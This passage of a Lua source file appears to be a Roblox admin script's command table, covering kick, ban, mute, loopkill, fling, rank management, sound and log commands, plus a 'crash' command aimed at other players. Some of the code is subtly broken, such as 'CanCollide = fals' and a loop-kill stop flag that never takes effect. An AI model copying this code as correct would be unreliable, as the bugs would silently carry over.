 	[{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
 		if tonumber(Arguments[2]) then
 			local Players = STRING:Scan(Arguments[1], Speaker)
 			for _,Player in pairs(Players) do
 				coroutine.wrap(function()
 					if Player.Character then
 						table.insert(LoopKills, Player.Name)
 						local Loop = nil
 						local PrevChar = nil
 
 						for i = 1,tonumber(Arguments[2]) do
 							local Char = Player.Character
 							if PrevChar and PrevChar ~= Char then
 								PrevChar:Destroy()
 							end
 							PrevChar = Char
 							local CanDie = true
 							for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
 							if CanDie == false then
 								break
 							end
 							ypcall(function() Char.Parent = Server.Lighting end)
 							wait(0.1)
 							ypcall(function() Char.Parent = Server.Workspace end)
 							wait(0.1)
 						end
 					end
 				end)()
 			end
 		else
 			GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
 		end
 	end};
 
 	[{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			for Num,Name in pairs(LoopKills) do
 				if Player.Name == Name then
 					table.remove(LoopKills, Num)
 				end
 			end
 		end
 	end};
 
 	[{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
 		SOUND:PlayGlobalSound(Arguments[1])
 	end};
 
 	[{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
 		SOUND:StopGlobalSound()
 		SOUND:ClearInfo()
 	end};
 
 	[{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Pitch = tonumber(Arguments[1])
 		if not Pitch then Pitch = 1 end
 		if Sound then
 			Sound.Pitch = Pitch
 		end
 	end};
 
 	[{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
 		local Items = MARKET:SearchItem(9, Arguments[1])
 		if Items then
 			if #Items ~= 0 then
 				local List,Correlate = {},{}
 				for Num,Info in pairs(Items) do
 					local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
 					table.insert(List, Display)
 					Correlate[Display] = Info.AssetId
 				end
 				CloseGui:Invoke()
 
 				local CanClick = true
 				if Rank == "Member" then CanClick = false end
 				local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
 				Clicked.Event:connect(function(ClickName)
 					local OldSoundId = nil
 					SOUND:StopGlobalSound()
 					if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
 						SOUND:PlayGlobalSound(Correlate[ClickName])
 					end
 				end)
 			else
 				CloseGui:Invoke()
 				GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
 			end
 		else
 			CloseGui:Invoke()
 			GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
 		end
 	end, Http = true};
 
 	[{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				CORE:ExecuteResource("Gun", Player.Character)
 			end
 		end
 	end};
 
 	[{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
 				local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true  Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
 				Player.Character.Humanoid.WalkSpeed = 0
 				Player.Character.Torso.Anchored = true
 				coroutine.wrap(function()
 					local OldCFrame = Player.Character.Torso.CFrame
 					for i = 0,8,0.1 do
 						Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
 						wait()
 					end
 					Player.Character.Torso.Anchored = false
 					Player.Character:BreakJoints()
 					CORE:InvisiblePlayer(Player)
 				end)()
 			end
 		end
 	end};
 
 	[{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:AnchorPlayer(Player)
 		end
 	end};
 
 	[{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:UnanchorPlayer(Player)
 		end
 	end};
 
 	[{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:InvisiblePlayer(Player)
 		end
 	end};
 
 	[{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:VisiblePlayer(Player)
 		end
 	end};
 
 	[{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") then
 				local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
 				local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
 				local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
 				local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
 				local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
 				local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
 				Fly:Play()
 				local Touched = false
 				coroutine.wrap(function()
 					repeat wait(0.1)
 						Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
 					until not Ast or Ast.Parent == nil or Touched == true
 				end)()
 				Ast.Touched:connect(function(Part)
 					if Touched == false then
 						Touched = true
 						Part:BreakJoints()
 						local Boom = Instance.new("Explosion", Workspace)
 						Boom.Position = Ast.Position
 						Boom.BlastPressure = 1000000
 						Boom.BlastRadius = 30
 						Fire.Heat = 0
 						Smoke.RiseVelocity = 0
 						Fly:Stop()
 						BoomSound:Play()
 						coroutine.wrap(function()
 							wait(3)
 							BoomSound:Stop()
 							if Ast and Ast.Parent ~= nil then
 								Ast:Destroy()
 							end
 						end)()
 					end
 				end)
 			end
 		end
 	end};
 
 	[{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Success = {}
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			local PlayerRank = RANK:GetRank(Player)
 			if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
 				CORE:Kick(Player)
 				table.insert(Success, Player)
 			end
 		end
 		REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
 	end};
 
 	[{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Success = {}
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			local PlayerRank = RANK:GetRank(Player)
 			if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
 				RANK:RemoveRank(Player)
 				table.insert(Settings.Ranks.Banned, Player.Name)
 				CORE:Kick(Player)
 				table.insert(Success, Player)
 			end
 		end
 		REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
 	end};
 
 	[{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		local Success = {}
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			local PlayerRank = RANK:GetRank(Player)
 			if PlayerRank ~= "Owner" then
 				RANK:RemoveRank(Player)
 				table.insert(Settings.Ranks.Crashed, Player.Name)
 				CORE:Crash(Player)
 				table.insert(Success, Player)
 			end
 		end
 		REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
 	end};
 
 	[{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		local Success = {}
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			local PlayerRank = RANK:GetRank(Player)
 			if PlayerRank ~= "Owner" then
 				RANK:RemoveRank(Player)
 				table.insert(Settings.Ranks.Muted, Player.Name)
 				GUI:CoreGui(Player, "Chat", false)
 				table.insert(Success, Player)
 			end
 		end
 		REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
 	end};
 
 	[{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		if #Players > 0 then
 			local Success = {}
 			for _,Player in pairs(Players) do
 				local RankName,RankNum = RANK:GetRank(Player)
 				if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
 					if not RANK:IsSupremeOwner(Player) then
 						if RankName == "Muted" then
 							GUI:CoreGui(Player, "Chat", true)
 						end
 						if RankNum > 0 then
 							GUI:TellNotAdmin(Player)
 						end
 						RANK:RemoveRank(Player)
 						table.insert(Success, Player)
 					end
 				end
 			end
 			REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
 		else
 			local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
 			if Player then
 				local RankNum = RANK:ConvertRank(PlayerRank)
 				if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
 					if not RANK:IsSupremeOwner(Player) then
 						RANK:RemoveRank(Player)
 						REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
 					end
 				end
 			end
 		end
 	end};
 
 	[{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		if #Players > 0 then
 			local Success = {}
 			for _,Player in pairs(Players) do
 				local PlayerRank,RankNum = RANK:GetRank(Player)
 				if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
 					RANK:RemoveRank(Player)
 					table.insert(Settings.Ranks.Member, Player.Name)
 					GUI:TellAdmin(Player)
 					table.insert(Success, Player)
 				end
 			end
 			REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
 		else
 			local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
 			if Player then
 				local RankNum = RANK:ConvertRank(PlayerRank)
 				if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
 					if not RANK:IsSupremeOwner(Player) then
 						RANK:RemoveRank(Player)
 						table.insert(Settings.Ranks.Member, Player)
 					end
 				end
 			else
 				RANK:RemoveRank(Arguments[1])
 				table.insert(Settings.Ranks.Member, Arguments[1])
 			end
 		end
 	end};
 
 	[{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		if #Players > 0 then
 			local Success = {}
 			for _,Player in pairs(Players) do
 				local PlayerRank,RankNum = RANK:GetRank(Player)
 				if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
 					RANK:RemoveRank(Player)
 					table.insert(Settings.Ranks.Admin, Player.Name)
 					GUI:TellAdmin(Player)
 					table.insert(Success, Player)
 				end
 			end
 			REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
 		else
 			local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
 			if Player then
 				local RankNum = RANK:ConvertRank(PlayerRank)
 				if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
 					if not RANK:IsSupremeOwner(Player) then
 						RANK:RemoveRank(Player)
 						table.insert(Settings.Ranks.Admin, Player)
 					end
 				end
 			else
 				RANK:RemoveRank(Arguments[1])
 				table.insert(Settings.Ranks.Admin, Arguments[1])
 			end
 		end
 	end};
 
 	[{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		if RANK:IsSupremeOwner(Speaker) then
 			if #Players > 0 then
 				local Success = {}
 				for _,Player in pairs(Players) do
 					if not RANK:IsSupremeOwner(Player) then
 						RANK:RemoveRank(Player)
 						table.insert(Settings.Ranks.Owner, Player.Name)
 						GUI:TellAdmin(Player)
 						table.insert(Success, Player)
 					end
 				end
 				REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
 			else
 				local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
 				if Player then
 					local RankNum = RANK:ConvertRank(PlayerRank)
 					if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
 						if not RANK:IsSupremeOwner(Player) then
 							RANK:RemoveRank(Player)
 							table.insert(Settings.Ranks.Owner, Player)
 						end
 					end
 				else
 					RANK:RemoveRank(Arguments[1])
 					table.insert(Settings.Ranks.Owner, Arguments[1])
 				end
 			end
 		end
 	end};
 
 	[{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
 		local TableStorage = {}
 		for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
 		for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
 		for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
 		GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
 	end};
 
 	[{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
 		local TableStorage = {}
 		for _,Player in pairs(Server.Players:GetChildren()) do
 			local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
 			if ValidAdmin then
 				if PlayerRank == "Owner" then
 					table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
 				else
 					table.insert(TableStorage, Player.Name..": "..PlayerRank)
 				end
 			end
 		end
 		GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
 	end};
 
 	[{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
 		GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
 	end};
 
 	[{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
 		GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
 	end};
 
 	[{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
 		GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
 	end};
 
 	[{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
 		local TableStorage = {}
 		for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
 		for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
 		for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
 		GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
 	end};
 
 	[{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
 		local TableStorage = {}
 		for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
 			for Num,PlayerName in pairs(PlayerNames) do
 				if PlayerRank == "Owner" then
 					table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
 				else
 					table.insert(TableStorage, PlayerName..": "..PlayerRank)
 				end
 			end
 		end
 		GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
 	end};
 
 	[{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
 	end};
 
 	[{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
 	end};
 
 	[{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
 	end};
 
 	[{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		local ExploitLog = Server.GDS:GetAsync("ExploitLog")
 		if type(ExploitLog) ~= "table" then ExploitLog = {} end
 		GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
 	end};
 
 	[{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		CommandLogs = {}
 	end};
 
 	[{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		ChatLogs = {}
 	end};
 
 	[{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		IRC.Logs = {}
 	end};
 
 	[{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		CommandLogs = {}
 		ChatLogs = {}
 		IRC.Logs = {}
 	end};
 
 	[{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		Server.GDS:SetAsync("ExploitLog", {})
 	end};
 
 	[{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
 		local List,Correlate,SoundName = {},{},{}
 		for Name,Info in pairs(SoundList) do
 			local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
 			table.insert(List, View)
 			Correlate[View] = Info[1]
 		end
 
 		local CanClick = true
 		if Rank == "Member" then CanClick = false end
 		local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
 		Clicked.Event:connect(function(ClickName)
 			local OldSoundId = nil
 			SOUND:StopGlobalSound()
 			if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
 				SOUND:PlayGlobalSound(Correlate[ClickName])
 			end
 		end)
 	end};
 
 	[{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		SOUND:SyncSoundList(Speaker)
 	end};
 
 	[{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
 		if Answer == "Yes" then
 			Server.Workspace.Terrain:Clear()
 		end
 	end};
 
 	[{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
 		if Answer == "Yes" then
 			for _,Obj in pairs(Workspace:GetChildren()) do
 				if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
 					Obj:Destroy()
 				end
 			end
 		end
 	end};
 
 	[{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		CORE:MakeBase()
 	end};
 
 	[{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
 		local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
 		if CustomSounds == nil or type(CustomSounds) ~= "table" then
 			CustomSounds = {}
 		end
 		if tostring(Arguments[1]) then
 			local Request = MARKET:GetItemInfo(Arguments[1])
 			if Request.AssetTypeId == 3 then
 				table.insert(CustomSounds, {Arguments[2], Arguments[1]})
 				SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
 				Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
 				GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
 			else
 				GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
 			end
 		end
 	end};
 
 	[{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
 		if CustomSounds == nil or type(CustomSounds) ~= "table" then
 			CustomSounds = {}
 		end
 
 		local Removed = {}
 		for Num,Data in pairs(CustomSounds) do
 			if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
 				table.insert(Removed, Data[1])
 				table.remove(CustomSounds, Num)
 			end
 		end
 
 		Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
 
 		SOUND:SyncSoundList()
 
 		if #Removed > 0 then
 			GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
 		else
 			GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
 		end
 	end};
 
 	[{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
 		if Answer == "Yes" then
 			Server.GDS:SetAsync("MML Custom Sounds", {})
 			SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
 			GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
 		end
 	end};
 
 	[{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		local SpeakerTesting = false
 		for _,Player in pairs(Players) do
 			if Player == Speaker then SpeakerTesting = true end
 			if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
 				CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
 				--wait(10)
 				--GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
 			end)() end
 		end
 		if SpeakerTesting == false then
 			GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
 		end
 	end};
 
 	[{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		local Compile = {}
 		for _,Player in pairs(Players) do
 			local PlayerInfo = ClientInfo[Player.Name]
 			if PlayerInfo then
 				if PlayerInfo.Benchmark then
 					table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
 				else
 					table.insert(Compile, Player.Name..": No score")
 				end
 			end
 		end
 		GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
 	end};
 
 	[{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:Chatted(Arguments[2], Player, true)
 		end
 	end};
 
 	[{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
 		CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
 	end};
 
 	[{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character ~= nil then
 				if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
 					if Player.Character.Torso:FindFirstChild("Neck") then
 						Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
 						local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
 						Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
 						local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
 						local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
 					end
  				end
 			end
 		end
 	end};
 
 	[{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
 				Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
 				local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
 			end
 		end
 	end};
 
 	[{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			local _,RankNum = RANK:GetRank(Player)
 			if RankNum <= RANK:ConvertRank(Rank) then
 				CORE:FlingPlayer(Player)
 			end
 		end
 	end};
 
 	[{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			local _,RankNum = RANK:GetRank(Player)
 			if RankNum <= RANK:ConvertRank(Rank) then
 				Flings[Player.Name] = true
 				CORE:FlingPlayer(Player)
 			end
 		end
 	end};
 
 	[{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			local _,RankNum = RANK:GetRank(Player)
 			if RankNum <= RANK:ConvertRank(Rank) then
 				Flings[Player.Name] = nil
 			end
 		end
 	end};
 
 	[{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:Nuke(Player)
 		end
 	end};
 
